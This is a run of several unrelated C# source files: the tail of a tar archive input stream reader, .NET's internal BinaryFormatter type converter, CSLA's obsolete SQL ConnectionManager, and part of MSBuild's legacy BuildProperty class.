GetNextEntry() { if (this.hasHitEOF) { return null; } if (this.currEntry != null) { SkipToNextEntry(); } byte[] headerBuf = this.buffer.ReadBlock(); if (headerBuf == null) { if (this.debug) { //Console.WriteLine.WriteLine("READ NULL BLOCK"); } this.hasHitEOF = true; } else if (this.buffer.IsEOFBlock(headerBuf)) { if (this.debug) { //Console.WriteLine.WriteLine( "READ EOF BLOCK" ); } this.hasHitEOF = true; } if (this.hasHitEOF) { this.currEntry = null; } else { try { TarHeader header = new TarHeader(); header.ParseBuffer(headerBuf); this.entryOffset = 0; this.entrySize = (int)header.size; StringBuilder longName = null; if (header.typeFlag == TarHeader.LF_GNU_LONGNAME) { byte[] nameBuffer = new byte[TarBuffer.BlockSize]; int numToRead = this.entrySize; longName = new StringBuilder(); while (numToRead > 0) { int numRead = this.Read(nameBuffer, 0, (numToRead > nameBuffer.Length ? nameBuffer.Length : numToRead)); if (numRead == -1) { throw new InvalidHeaderException("Failed to read long name entry"); } longName.Append(TarHeader.ParseName(nameBuffer, 0, numRead).ToString()); numToRead -= numRead; } SkipToNextEntry(); headerBuf = this.buffer.ReadBlock(); } else if (header.typeFlag == TarHeader.LF_GHDR) { // POSIX global extended header // Ignore things we dont understand completely for now SkipToNextEntry(); headerBuf = this.buffer.ReadBlock(); } else if (header.typeFlag == TarHeader.LF_XHDR) { // POSIX extended header // Ignore things we dont understand completely for now SkipToNextEntry(); headerBuf = this.buffer.ReadBlock(); } else if (header.typeFlag == TarHeader.LF_GNU_VOLHDR) { // TODO could show volume name when verbose? SkipToNextEntry(); headerBuf = this.buffer.ReadBlock(); } else if (header.typeFlag != TarHeader.LF_NORMAL && header.typeFlag != TarHeader.LF_OLDNORM && header.typeFlag != TarHeader.LF_DIR) { // Ignore things we dont understand completely for now SkipToNextEntry(); headerBuf = this.buffer.ReadBlock(); } if (this.eFactory == null) { this.currEntry = new TarEntry(headerBuf); if (longName != null) { this.currEntry.TarHeader.name.Length = 0; this.currEntry.TarHeader.name.Append(longName.ToString()); } } else { this.currEntry = this.eFactory.CreateEntry(headerBuf); } // TODO ustar is not the only magic possible by any means // tar, xtar, ... if (!(headerBuf[257] == 'u' && headerBuf[258] == 's' && headerBuf[259] == 't' && headerBuf[260] == 'a' && headerBuf[261] == 'r')) { throw new InvalidHeaderException("header magic is not 'ustar', but '" + headerBuf[257] + headerBuf[258] + headerBuf[259] + headerBuf[260] + headerBuf[261] + "', or (dec) " + ((int)headerBuf[257]) + ", " + ((int)headerBuf[258]) + ", " + ((int)headerBuf[259]) + ", " + ((int)headerBuf[260]) + ", " + ((int)headerBuf[261])); } if (this.debug) { //Console.WriteLine.WriteLine("TarInputStream: SET CURRENTRY '" + this.currEntry.Name + "' size = " + this.currEntry.Size); } this.entryOffset = 0; // TODO Review How do we resolve this discrepancy?! this.entrySize = (int) this.currEntry.Size; } catch (InvalidHeaderException ex) { this.entrySize = 0; this.entryOffset = 0; this.currEntry = null; throw new InvalidHeaderException("bad header in record " + this.buffer.GetCurrentBlockNum() + " block " + this.buffer.GetCurrentBlockNum() + ", " + ex.Message); } } return this.currEntry; } /// <summary> /// Reads a byte from the current tar archive entry. /// This method simply calls read(byte[], int, int). /// </summary> public override int ReadByte() { byte[] oneByteBuffer = new byte[1]; int num = this.Read(oneByteBuffer, 0, 1); if (num <= 0) { // return -1 to indicate that no byte was read. return -1; } return (int)oneByteBuffer[0]; } /// <summary> /// Reads bytes from the current tar archive entry. /// /// This method is aware of the boundaries of the current /// entry in the archive and will deal with them appropriately /// </summary> /// <param name="outputBuffer"> /// The buffer into which to place bytes read. /// </param> /// <param name="offset"> /// The offset at which to place bytes read. /// </param> /// <param name="numToRead"> /// The number of bytes to read. /// </param> /// <returns> /// The number of bytes read, or 0 at end of stream/EOF. /// </returns> public override int Read(byte[] outputBuffer, int offset, int numToRead) { int totalRead = 0; if (this.entryOffset >= this.entrySize) { return 0; } if ((numToRead + this.entryOffset) > this.entrySize) { numToRead = this.entrySize - this.entryOffset; } if (this.readBuf != null) { int sz = (numToRead > this.readBuf.Length) ? this.readBuf.Length : numToRead; Array.Copy(this.readBuf, 0, outputBuffer, offset, sz); if (sz >= this.readBuf.Length) { this.readBuf = null; } else { int newLen = this.readBuf.Length - sz; byte[] newBuf = new byte[newLen]; Array.Copy(this.readBuf, sz, newBuf, 0, newLen); this.readBuf = newBuf; } totalRead += sz; numToRead -= sz; offset += sz; } while (numToRead > 0) { byte[] rec = this.buffer.ReadBlock(); if (rec == null) { // Unexpected EOF! throw new IOException("unexpected EOF with " + numToRead + " bytes unread"); } int sz = numToRead; int recLen = rec.Length; if (recLen > sz) { Array.Copy(rec, 0, outputBuffer, offset, sz); this.readBuf = new byte[recLen - sz]; Array.Copy(rec, sz, this.readBuf, 0, recLen - sz); } else { sz = recLen; Array.Copy(rec, 0, outputBuffer, offset, recLen); } totalRead += sz; numToRead -= sz; offset += sz; } this.entryOffset += totalRead; return totalRead; } /// <summary> /// Copies the contents of the current tar archive entry directly into /// an output stream. /// </summary> /// <param name="outputStream"> /// The OutputStream into which to write the entry's data. /// </param> public void CopyEntryContents(Stream outputStream) { byte[] buf = new byte[32 * 1024]; while (true) { int numRead = this.Read(buf, 0, buf.Length); if (numRead <= 0) { break; } outputStream.Write(buf, 0, numRead); } } /// <summary> /// This interface is provided, along with the method setEntryFactory(), to allow /// the programmer to have their own TarEntry subclass instantiated for the /// entries return from getNextEntry(). /// </summary> public interface IEntryFactory { /// <summary> /// Create an entry based on name alone /// </summary> /// <param name="name"> /// Name of the new EntryPointNotFoundException to create /// </param> /// <returns>created TarEntry or descendant class</returns> TarEntry CreateEntry(string name); /// <summary> /// Create an instance based on an actual file /// </summary> /// <param name="fileName"> /// Name of file to represent in the entry /// </param> /// <returns> /// Created TarEntry or descendant class /// </returns> TarEntry CreateEntryFromFile(string fileName); /// <summary> /// Create a tar entry based on the header information passed /// </summary> /// <param name="headerBuf"> /// Buffer containing header information to base entry on /// </param> /// <returns> /// Created TarEntry or descendant class /// </returns> TarEntry CreateEntry(byte[] headerBuf); } /// <summary> /// Standard entry factory class creating instances of the class TarEntry /// </summary> public class EntryFactoryAdapter : IEntryFactory { /// <summary> /// Create a TarEntry based on named /// </summary> public TarEntry CreateEntry(string name) { return TarEntry.CreateTarEntry(name); } /// <summary> /// Create a tar entry with details obtained from <paramref name="fileName">file</paramref> /// </summary> public TarEntry CreateEntryFromFile(string fileName) { return TarEntry.CreateEntryFromFile(fileName); } /// <summary> /// Create and entry based on details in <paramref name="headerBuf">header</paramref> /// </summary> public TarEntry CreateEntry(byte[] headerBuf) { return new TarEntry(headerBuf); } } } } /* The original Java file had this header: ** Authored by Timothy Gerard Endres ** <mailto:time@gjt.org> <http://www.trustice.com> ** ** This work has been placed into the public domain. ** You may use this work in any way and for any purpose you wish. ** ** THIS SOFTWARE IS PROVIDED AS-IS WITHOUT WARRANTY OF ANY KIND, ** NOT EVEN THE IMPLIED WARRANTY OF MERCHANTABILITY. THE AUTHOR ** OF THIS SOFTWARE, ASSUMES _NO_ RESPONSIBILITY FOR ANY ** CONSEQUENCE RESULTING FROM THE USE, MODIFICATION, OR ** REDISTRIBUTION OF THIS SOFTWARE. ** */
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System.Reflection; using System.Diagnostics; namespace System.Runtime.Serialization.Formatters.Binary { // Routines to convert between the runtime type and the type as it appears on the wire internal static class BinaryTypeConverter { // From the type create the BinaryTypeEnum and typeInformation which describes the type on the wire internal static BinaryTypeEnum GetBinaryTypeInfo(Type type, WriteObjectInfo objectInfo, string typeName, ObjectWriter objectWriter, out object typeInformation, out int assemId) { BinaryTypeEnum binaryTypeEnum; assemId = 0; typeInformation = null; if (ReferenceEquals(type, Converter.s_typeofString)) { binaryTypeEnum = BinaryTypeEnum.String; } else if (((objectInfo == null) || ((objectInfo != null) && !objectInfo._isSi)) && (ReferenceEquals(type, Converter.s_typeofObject))) { // If objectInfo.Si then can be a surrogate which will change the type binaryTypeEnum = BinaryTypeEnum.Object; } else if (ReferenceEquals(type, Converter.s_typeofStringArray)) { binaryTypeEnum = BinaryTypeEnum.StringArray; } else if (ReferenceEquals(type, Converter.s_typeofObjectArray)) { binaryTypeEnum = BinaryTypeEnum.ObjectArray; } else if (Converter.IsPrimitiveArray(type, out typeInformation)) { binaryTypeEnum = BinaryTypeEnum.PrimitiveArray; } else { InternalPrimitiveTypeE primitiveTypeEnum = objectWriter.ToCode(type); switch (primitiveTypeEnum) { case InternalPrimitiveTypeE.Invalid: string assembly = null; if (objectInfo == null) { assembly = type.Assembly.FullName; typeInformation = type.FullName; } else { assembly = objectInfo.GetAssemblyString(); typeInformation = objectInfo.GetTypeFullName(); } if (assembly.Equals(Converter.s_urtAssemblyString) || assembly.Equals(Converter.s_urtAlternativeAssemblyString)) { binaryTypeEnum = BinaryTypeEnum.ObjectUrt; assemId = 0; } else { binaryTypeEnum = BinaryTypeEnum.ObjectUser; Debug.Assert(objectInfo != null, "[BinaryConverter.GetBinaryTypeInfo]objectInfo null for user object"); assemId = (int)objectInfo._assemId; if (assemId == 0) { throw new SerializationException(SR.Format(SR.Serialization_AssemblyId, typeInformation)); } } break; default: binaryTypeEnum = BinaryTypeEnum.Primitive; typeInformation = primitiveTypeEnum; break; } } return binaryTypeEnum; } // Used for non Si types when Parsing internal static BinaryTypeEnum GetParserBinaryTypeInfo(Type type, out object typeInformation) { BinaryTypeEnum binaryTypeEnum; typeInformation = null; if (ReferenceEquals(type, Converter.s_typeofString)) { binaryTypeEnum = BinaryTypeEnum.String; } else if (ReferenceEquals(type, Converter.s_typeofObject)) { binaryTypeEnum = BinaryTypeEnum.Object; } else if (ReferenceEquals(type, Converter.s_typeofObjectArray)) { binaryTypeEnum = BinaryTypeEnum.ObjectArray; } else if (ReferenceEquals(type, Converter.s_typeofStringArray)) { binaryTypeEnum = BinaryTypeEnum.StringArray; } else if (Converter.IsPrimitiveArray(type, out typeInformation)) { binaryTypeEnum = BinaryTypeEnum.PrimitiveArray; } else { InternalPrimitiveTypeE primitiveTypeEnum = Converter.ToCode(type); switch (primitiveTypeEnum) { case InternalPrimitiveTypeE.Invalid: binaryTypeEnum = type.Assembly == Converter.s_urtAssembly ? BinaryTypeEnum.ObjectUrt : BinaryTypeEnum.ObjectUser; typeInformation = type.FullName; break; default: binaryTypeEnum = BinaryTypeEnum.Primitive; typeInformation = primitiveTypeEnum; break; } } return binaryTypeEnum; } // Writes the type information on the wire internal static void WriteTypeInfo(BinaryTypeEnum binaryTypeEnum, object typeInformation, int assemId, BinaryFormatterWriter output) { switch (binaryTypeEnum) { case BinaryTypeEnum.Primitive: case BinaryTypeEnum.PrimitiveArray: Debug.Assert(typeInformation != null, "[BinaryConverter.WriteTypeInfo]typeInformation!=null"); output.WriteByte((byte)((InternalPrimitiveTypeE)typeInformation)); break; case BinaryTypeEnum.String: case BinaryTypeEnum.Object: case BinaryTypeEnum.StringArray: case BinaryTypeEnum.ObjectArray: break; case BinaryTypeEnum.ObjectUrt: Debug.Assert(typeInformation != null, "[BinaryConverter.WriteTypeInfo]typeInformation!=null"); output.WriteString(typeInformation.ToString()); break; case BinaryTypeEnum.ObjectUser: Debug.Assert(typeInformation != null, "[BinaryConverter.WriteTypeInfo]typeInformation!=null"); output.WriteString(typeInformation.ToString()); output.WriteInt32(assemId); break; default: throw new SerializationException(SR.Format(SR.Serialization_TypeWrite, binaryTypeEnum.ToString())); } } // Reads the type information from the wire internal static object ReadTypeInfo(BinaryTypeEnum binaryTypeEnum, BinaryParser input, out int assemId) { object var = null; int readAssemId = 0; switch (binaryTypeEnum) { case BinaryTypeEnum.Primitive: case BinaryTypeEnum.PrimitiveArray: var = (InternalPrimitiveTypeE)input.ReadByte(); break; case BinaryTypeEnum.String: case BinaryTypeEnum.Object: case BinaryTypeEnum.StringArray: case BinaryTypeEnum.ObjectArray: break; case BinaryTypeEnum.ObjectUrt: var = input.ReadString(); break; case BinaryTypeEnum.ObjectUser: var = input.ReadString(); readAssemId = input.ReadInt32(); break; default: throw new SerializationException(SR.Format(SR.Serialization_TypeRead, binaryTypeEnum.ToString())); } assemId = readAssemId; return var; } // Given the wire type information, returns the actual type and additional information internal static void TypeFromInfo(BinaryTypeEnum binaryTypeEnum, object typeInformation, ObjectReader objectReader, BinaryAssemblyInfo assemblyInfo, out InternalPrimitiveTypeE primitiveTypeEnum, out string typeString, out Type type, out bool isVariant) { isVariant = false; primitiveTypeEnum = InternalPrimitiveTypeE.Invalid; typeString = null; type = null; switch (binaryTypeEnum) { case BinaryTypeEnum.Primitive: primitiveTypeEnum = (InternalPrimitiveTypeE)typeInformation; typeString = Converter.ToComType(primitiveTypeEnum); type = Converter.ToType(primitiveTypeEnum); break; case BinaryTypeEnum.String: type = Converter.s_typeofString; break; case BinaryTypeEnum.Object: type = Converter.s_typeofObject; isVariant = true; break; case BinaryTypeEnum.ObjectArray: type = Converter.s_typeofObjectArray; break; case BinaryTypeEnum.StringArray: type = Converter.s_typeofStringArray; break; case BinaryTypeEnum.PrimitiveArray: primitiveTypeEnum = (InternalPrimitiveTypeE)typeInformation; type = Converter.ToArrayType(primitiveTypeEnum); break; case BinaryTypeEnum.ObjectUser: case BinaryTypeEnum.ObjectUrt: if (typeInformation != null) { typeString = typeInformation.ToString(); type = objectReader.GetType(assemblyInfo, typeString); if (ReferenceEquals(type, Converter.s_typeofObject)) { isVariant = true; } } break; default: throw new SerializationException(SR.Format(SR.Serialization_TypeRead, binaryTypeEnum.ToString())); } } } }
//----------------------------------------------------------------------- // <copyright file="ConnectionManager.cs" company="Marimer LLC"> // Copyright (c) Marimer LLC. All rights reserved. // Website: https://cslanet.com // </copyright> // <summary>Provides an automated way to reuse open</summary> //----------------------------------------------------------------------- using System; using Csla.Configuration; using System.Data; #if NETFX using System.Data.SqlClient; #else using Microsoft.Data.SqlClient; #endif using Csla.Properties; namespace Csla.Data.SqlClient { /// <summary> /// Provides an automated way to reuse open /// database connections within the context /// of a single data portal operation. /// </summary> /// <remarks> /// This type stores the open database connection /// in <see cref="Csla.ApplicationContext.LocalContext" /> /// and uses reference counting through /// <see cref="IDisposable" /> to keep the connection /// open for reuse by child objects, and to automatically /// dispose the connection when the last consumer /// has called Dispose." /// </remarks> [Obsolete("Use dependency injection instead", false)] public class ConnectionManager : IDisposable { private static readonly object _lock = new object(); private readonly string _connectionString; private readonly string _label; /// <summary> /// Gets the ConnectionManager object for the /// specified database. /// </summary> /// <param name="database"> /// Database name as shown in the config file. /// </param> public static ConnectionManager GetManager(string database) { return GetManager(database, true); } /// <summary> /// Gets the ConnectionManager object for the /// specified database. /// </summary> /// <param name="database"> /// Database name as shown in the config file. /// </param> /// <param name="label">Label for this connection.</param> public static ConnectionManager GetManager(string database, string label) { return GetManager(database, true, label); } /// <summary> /// Gets the ConnectionManager object for the /// specified database. /// </summary> /// <param name="database"> /// The database name or connection string. /// </param> /// <param name="isDatabaseName"> /// True to indicate that the connection string /// should be retrieved from the config file. If /// False, the database parameter is directly /// used as a connection string. /// </param> /// <returns>ConnectionManager object for the name.</returns> public static ConnectionManager GetManager(string database, bool isDatabaseName) { return GetManager(database, isDatabaseName, "default"); } /// <summary> /// Gets the ConnectionManager object for the /// specified database. /// </summary> /// <param name="database"> /// The database name or connection string. /// </param> /// <param name="isDatabaseName"> /// True to indicate that the connection string /// should be retrieved from the config file. If /// False, the database parameter is directly /// used as a connection string. /// </param> /// <param name="label">Label for this connection.</param> /// <returns>ConnectionManager object for the name.</returns> public static ConnectionManager GetManager(string database, bool isDatabaseName, string label) { if (isDatabaseName) { var connection = ConfigurationManager.ConnectionStrings[database]; if (connection == null) throw new ConfigurationErrorsException(String.Format(Resources.DatabaseNameNotFound, database)); var conn = ConfigurationManager.ConnectionStrings[database].ConnectionString; if (string.IsNullOrEmpty(conn)) throw new ConfigurationErrorsException(String.Format(Resources.DatabaseNameNotFound, database)); database = conn; } ConnectionManager mgr = null; var ctxName = GetContextName(database, label); lock (_lock) { var cached = ApplicationContext.LocalContext.GetValueOrNull(ctxName); if (cached != null) { mgr = (ConnectionManager)cached; mgr.AddRef(); } } if (mgr == null) { mgr = new ConnectionManager(database, label); lock (_lock) { ApplicationContext.LocalContext[ctxName] = mgr; mgr.AddRef(); } } return mgr; } private ConnectionManager(string connectionString, string label) { _label = label; _connectionString = connectionString; Connection = new SqlConnection(connectionString); Connection.Open(); } private static string GetContextName(string connectionString, string label) { return "__db:" + label + "-" + connectionString; } /// <summary> /// Dispose object, dereferencing or /// disposing the connection it is /// managing. /// </summary> public IDbConnection Connection { get; } /// <summary> /// Gets the current reference count for this /// object. /// </summary> public int RefCount { get; private set; } private void AddRef() { RefCount += 1; } private void DeRef() { RefCount -= 1; if (RefCount == 0) { Connection.Close(); Connection.Dispose(); lock (_lock) ApplicationContext.LocalContext.Remove(GetContextName(_connectionString, _label)); } } /// <summary> /// Dispose object, dereferencing or /// disposing the connection it is /// managing. /// </summary> public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } /// <summary> /// Dispose object, dereferencing or /// disposing the context it is /// managing. /// </summary> protected virtual void Dispose(bool p) { DeRef(); } } }
// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. using System; using System.Xml; using System.Diagnostics; using System.IO; using Microsoft.Build.BuildEngine.Shared; using System.Collections.Generic; namespace Microsoft.Build.BuildEngine { /// <summary> /// This is an enumeration of property types. Each one is explained further /// below. /// </summary> /// <owner>rgoel</owner> internal enum PropertyType { // A "normal" property is the kind that is settable by the project // author from within the project file. They are arbitrarily named // by the author. NormalProperty, // An "imported" property is like a "normal" property, except that // instead of coming directly from the project file, its definition // is in one of the imported files (e.g., "CSharp.buildrules"). ImportedProperty, // A "global" property is the kind that is set outside of the project file. // Once such a property is set, it cannot be overridden by the project file. // For example, when the user sets a property via a switch on the XMake // command-line, this is a global property. In the IDE case, "Configuration" // would be a global property set by the IDE. GlobalProperty, // A "reserved" property behaves much like a read-only property, except // that the names are not arbitrary; they are chosen by us. Also, // no user can ever set or override these properties. For example, // "XMakeProjectName" would be a property that is only settable by // XMake code. Any attempt to set this property via the project file // or any other mechanism should result in an error. ReservedProperty, // An "environment" property is one that came from an environment variable. EnvironmentProperty, // An "output" property is generated by a task. Properties of this type // override all properties except "reserved" ones. OutputProperty } /// <summary> /// This class holds an MSBuild property. This may be a property that is /// represented in the MSBuild project file by an XML element, or it /// may not be represented in any real XML file (e.g., global properties, /// environment properties, etc.) /// </summary> /// <owner>rgoel</owner> [DebuggerDisplay("BuildProperty (Name = { Name }, Value = { Value }, FinalValue = { FinalValue }, Condition = { Condition })")] public class BuildProperty { #region Member Data // This is an alternative location for property data: if propertyElement // is null, which means the property is not persisted, we should not store // the name/value pair in an XML attribute, because the property name // may contain illegal XML characters. private string propertyName = null; // We'll still store the value no matter what, because fetching the inner // XML can be an expensive operation. private string propertyValue = null; // This is the final evaluated value for the property. private string finalValueEscaped = String.Empty; // This the type of the property from the PropertyType enumeration defined // above. private PropertyType type = PropertyType.NormalProperty; // This is the XML element for this property. This contains the name and // value for this property as well as the condition. For example, // this node may look like this: // <WarningLevel Condition="...">4</WarningLevel> // // If this property is not represented by an actual XML element in the // project file, it's okay if this is null. private XmlElement propertyElement = null; // This is the specific XML attribute in the above XML element which // contains the "Condition". private XmlAttribute conditionAttribute = null; // If this property is persisted in the project file, then we need to // store a reference to the parent <PropertyGroup>. private BuildPropertyGroup parentPersistedPropertyGroup = null; // Dictionary to intern the value and finalEscapedValue strings as they are deserialized private static Dictionary<string, string> customInternTable = new Dictionary<string, string>(StringComparer.OrdinalIgnoreCase); #endregion #region CustomSerializationToStream internal void WriteToStream(BinaryWriter writer) { // Cannot be null writer.Write(propertyName); writer.Write(propertyValue); // Only bother serializing the finalValueEscaped // if it's not identical to the Value (it often is) if (propertyValue == finalValueEscaped) { writer.Write((byte)1); } else { writer.Write((byte)0); writer.Write(finalValueEscaped); } writer.Write((Int32)type); } /// <summary> /// Avoid creating duplicate strings when deserializing. We are using a custom intern table /// because String.Intern keeps a reference to the string until the appdomain is unloaded. /// </summary> private static string Intern(string stringToIntern) { string value; if (!customInternTable.TryGetValue(stringToIntern, out value)) { customInternTable.Add(stringToIntern, stringToIntern); value = stringToIntern; } return value; } internal static BuildProperty CreateFromStream(BinaryReader reader) { string name = reader.ReadString(); string value = Intern(reader.ReadString()); byte marker = reader.ReadByte(); string finalValueEscaped; if (marker == (byte)1) { finalValueEscaped = value; } else { finalValueEscaped = Intern(reader.ReadString()); } PropertyType type = (PropertyType)reader.ReadInt32(); BuildProperty property = new BuildProperty(name, value, type); property.finalValueEscaped = finalValueEscaped; return property; } /// <summary> /// Clear the static intern table, so that the memory can be released /// when a build is released and the node is waiting for re-use. /// </summary> internal static void ClearInternTable() { customInternTable.Clear(); } #endregion #region Constructors /// <summary> /// Constructor, that initializes the property with an existing XML element. /// </summary> /// <param name="propertyElement"></param> /// <param name="propertyType"></param> /// <owner>rgoel</owner> internal BuildProperty ( XmlElement propertyElement, PropertyType propertyType ) : this(propertyElement, propertyElement != null ? Utilities.GetXmlNodeInnerContents(propertyElement) : null, propertyType) { ProjectErrorUtilities.VerifyThrowInvalidProject(XMakeElements.IllegalItemPropertyNames[this.Name] == null, propertyElement, "CannotModifyReservedProperty", this.Name); } /// <summary> /// Constructor, that initializes the property with cloned information. /// /// Callers -- Please ensure that the propertyValue passed into this constructor /// is actually computed by calling GetXmlNodeInnerContents on the propertyElement. /// </summary> /// <param name="propertyElement"></param> /// <param name="propertyValue"></param> /// <param name="propertyType"></param> /// <owner>rgoel</owner> private BuildProperty ( XmlElement propertyElement, string propertyValue, PropertyType propertyType ) { // Make sure the property node has been given to us. ErrorUtilities.VerifyThrow(propertyElement != null, "Need an XML node representing the property element."); // Validate that the property name doesn't contain any illegal characters. XmlUtilities.VerifyThrowProjectValidElementName(propertyElement); this.propertyElement = propertyElement; // Loop through the list of attributes on the property element. foreach (XmlAttribute propertyAttribute in propertyElement.Attributes) { switch (propertyAttribute.Name) { case XMakeAttributes.condition: // We found the "condition" attribute. Process it. this.conditionAttribute = propertyAttribute; break; default: ProjectXmlUtilities.ThrowProjectInvalidAttribute(propertyAttribute); break; } } this.propertyValue = propertyValue; this.finalValueEscaped = propertyValue; this.type = propertyType; } /// <summary> /// Constructor, that initializes the property from the raw data, like /// the property name and property value. This constructor actually creates /// a new XML element to represent the property, and so it needs the owner /// XML document. /// </summary> /// <param name="ownerDocument"></param> /// <param name="propertyName"></param> /// <param name="propertyValue"></param> /// <param name="propertyType"></param> /// <owner>rgoel</owner> internal BuildProperty ( XmlDocument ownerDocument, string propertyName, string propertyValue, PropertyType propertyType ) { ErrorUtilities.VerifyThrowArgumentLength(propertyName, nameof(propertyName)); ErrorUtilities.VerifyThrowArgumentNull(propertyValue, nameof(propertyValue)); // Validate that the property name doesn't contain any illegal characters. XmlUtilities.VerifyThrowValidElementName(propertyName); // If we've been given an owner XML document, create a new property // XML element in that document. if (ownerDocument != null) { // Create the new property XML element. this.propertyElement = ownerDocument.CreateElement(propertyName, XMakeAttributes.defaultXmlNamespace); // Set the value Utilities.SetXmlNodeInnerContents(this.propertyElement, propertyValue); // Get the value back. Because of some XML weirdness (particularly whitespace between XML attribute), // what you set may not be exactly what you get back. That's why we ask XML to give us the value // back, rather than assuming it's the same as the string we set. this.propertyValue = Utilities.GetXmlNodeInnerContents(this.propertyElement); } else { // Otherwise this property is not going to be persisted, so we don't // need an XML element. this.propertyName = propertyName; this.propertyValue = propertyValue; this.propertyElement = null; } ErrorUtilities.VerifyThrowInvalidOperation(XMakeElements.IllegalItemPropertyNames[this.Name] == null, "CannotModifyReservedProperty", this.Name); // Initialize the final evaluated value of this property to just the // normal unevaluated value. We actually can't evaluate it in isolation ... // we need the context of all the properties in the project file. this.finalValueEscaped = propertyValue; // We default to a null condition. Setting a condition must be done // through the "Condition" property after construction. this.conditionAttribute = null; // Assign the property type. this.type = propertyType; } /// <summary> /// Constructor, that initializes the property from the raw data, like /// the property name and property value. This constructor actually creates /// a new XML element to represent the property, and creates this XML element /// under some dummy XML document. This would be used if the property didn't /// need to be persisted in an actual XML file at any point, like a "global" /// property or an "environment" property". /// </summary> /// <param name="propertyName"></param> /// <param name="propertyValue"></param> /// <param name="propertyType"></param> /// <owner>rgoel</owner> internal BuildProperty ( string propertyName, string propertyValue, PropertyType propertyType ) : this(null, propertyName, propertyValue, propertyType) { } /// <summary> /// Constructor, which initializes the property from just the property /// name and value, creating it as a "normal" property. This ends up /// creating a new XML element for the property under a dummy XML document. /// </summary> /// <param name="propertyName"></param> /// <param name="propertyValue"></param> /// <owner>rgoel</owner> public BuildProperty ( string propertyName, string propertyValue ) : this(propertyName, propertyValue, PropertyType.NormalProperty) { } /// <summary> /// Default constructor. This is not allowed because it leaves the /// property in a bad state -- without a name or value. But we have to /// have it, otherwise FXCop complains. /// </summary> /// <owner>sumedhk</owner> private BuildProperty ( ) { // not allowed. } #endregion #region Properties /// <summary> /// Accessor for the property name. This is read-only, so one cannot /// change the property name once it's set ... your only option is /// to create a new BuildProperty object. The reason is that BuildProperty objects /// are often stored in hash tables where the hash function is based /// on the property name. Modifying the property name of an existing /// BuildProperty object would make the hash table incorrect. /// </summary> /// <owner>RGoel</owner> public string Name { get { if (propertyElement != null) { // Get the property name directly off the XML element. return this.propertyElement.Name; } else { // If we are not persisted, propertyName and propertyValue must not be null. ErrorUtilities.VerifyThrow(!string.IsNullOrEmpty(this.propertyName) && (this.propertyValue != null), "BuildProperty object doesn't have a name/value pair."); // Get the property name from the string variable return this.propertyName; } } } /// <summary> /// Accessor for the property value. Normal properties can be modified; /// other property types cannot. /// </summary> /// <owner>RGoel</owner> public string Value { get { // If we are not persisted, propertyName and propertyValue must not be null. ErrorUtilities.VerifyThrow(this.propertyValue != null, "BuildProperty object doesn't have a name/value pair."); return this.propertyValue; } set { ErrorUtilities.VerifyThrowInvalidOperation(this.type != PropertyType.ImportedProperty, "CannotModifyImportedProjects", this.Name); ErrorUtilities.VerifyThrowInvalidOperation(this.type != PropertyType.EnvironmentProperty, "CannotModifyEnvironmentProperty", this.Name); ErrorUtilities.VerifyThrowInvalidOperation(this.type != PropertyType.ReservedProperty, "CannotModifyReservedProperty", this.Name); ErrorUtilities.VerifyThrowInvalidOperation(this.type != PropertyType.GlobalProperty, "CannotModifyGlobalProperty", this.Name, "Project.GlobalProperties"); SetValue(value); } } /// <summary> /// Helper method to set the value of a BuildProperty. /// </summary> /// <owner>DavidLe</owner> /// <param name="value"></param> /// <returns>nothing</returns> internal void SetValue(string value) { ErrorUtilities.VerifyThrowArgumentNull(value, "Value"); // NO OP if the value we set is the same we already have // This will prevent making the project dirty if (value == this.propertyValue) return; // NOTE: allow output properties to be modified -- they're just like normal properties (except for their // precedence), and it doesn't really matter if they are modified, since they are transient (virtual) if (this.propertyElement != null) { // If our XML element is not null, store the value in it. Utilities.SetXmlNodeInnerContents(this.propertyElement, value); // Get the value back. Because of some XML weirdness (particularly whitespace between XML attribute), // what you set may not be exactly what you get back. That's why we ask XML to give us the value // back, rather than assuming it's the same as the string we set. this.propertyValue = Utilities.GetXmlNodeInnerContents(this.propertyElement); } else { // Otherwise, store the value in the string variable. this.propertyValue = value; } this.finalValueEscaped = value; MarkPropertyAsDirty(); } /// <summary> /// Accessor for the final evaluated property value. This is read-only. /// To modify the raw value of a property, use BuildProperty.Value. /// </summary> /// <owner>RGoel</owner> internal string FinalValueEscaped { get { return this.finalValueEscaped; } } /// <summary> /// Returns the unescaped value of the property. /// </summary> /// <owner>RGoel</owner> public string FinalValue { get { return EscapingUtilities.UnescapeAll(this.FinalValueEscaped); } } /// <summary> /// Accessor for the property type. This is internal, so that nobody /// calling the OM can modify the type. We actually need to modify /// it in certain cases internally. C# doesn't allow a different /// access mode for the "get" vs. the "set", so we've made them both /// internal. /// </summary> /// <owner>RGoel</owner> internal PropertyType Type { get { return this.type; } set { this.type = value; } } /// <summary> /// Did this property originate from an imported project file? /// </summary> /// <owner>RGoel</owner> public bool IsImported { get { return this.type == PropertyType.ImportedProperty; } } /// <summary> /// Accessor for the condition on the property. /// </summary> /// <owner>RGoel</owner> public string Condition { get { return (this.conditionAttribute == null) ? String.Empty : this.conditionAttribute.Value; } set { // If this BuildProperty object is not actually represented by an // XML element in the project file, then do not allow // the caller to set the condition. ErrorUtilities.VerifyThrowInvalidOperation(this.propertyElement != null, "CannotSetCondition"); // If this property was imported from another project, we don't allow modifying it. ErrorUtilities.VerifyThrowInvalidOperation(this.Type != PropertyType.ImportedProperty, "CannotModifyImportedProjects"); this.conditionAttribute = ProjectXmlUtilities.SetOrRemoveAttribute(propertyElement, XMakeAttributes.condition, value); MarkPropertyAsDirty(); } } /// <summary> /// Read-only accessor for accessing the XML attribute for "Condition". Callers should /// never try and modify this. Go through this.Condition to change the condition. /// </summary> /// <owner>RGoel</owner> internal XmlAttribute ConditionAttribute { get { return this.conditionAttribute; } } /// <summary> /// Accessor for the XmlElement representing this property. This is internal /// to MSBuild, and is read-only. /// </summary> /// <owner>RGoel</owner> internal XmlElement PropertyElement { get { return this.propertyElement; } } /// <summary> /// We need to store a reference to the parent BuildPropertyGroup, so we can /// send up notifications. /// </summary> /// <owner>RGoel</owner> internal BuildPropertyGroup ParentPersistedPropertyGroup { get { return this.parentPersistedPropertyGroup; } set { ErrorUtilities.VerifyThrow( ((value == null) && (this.parentPersistedPropertyGroup != null)) || ((value != null) && (this.parentPersistedPropertyGroup == null)), "Either new parent cannot be assigned because we already have a parent, or old parent cannot be removed because none exists."); this.parentPersistedPropertyGroup = value; } } #endregion 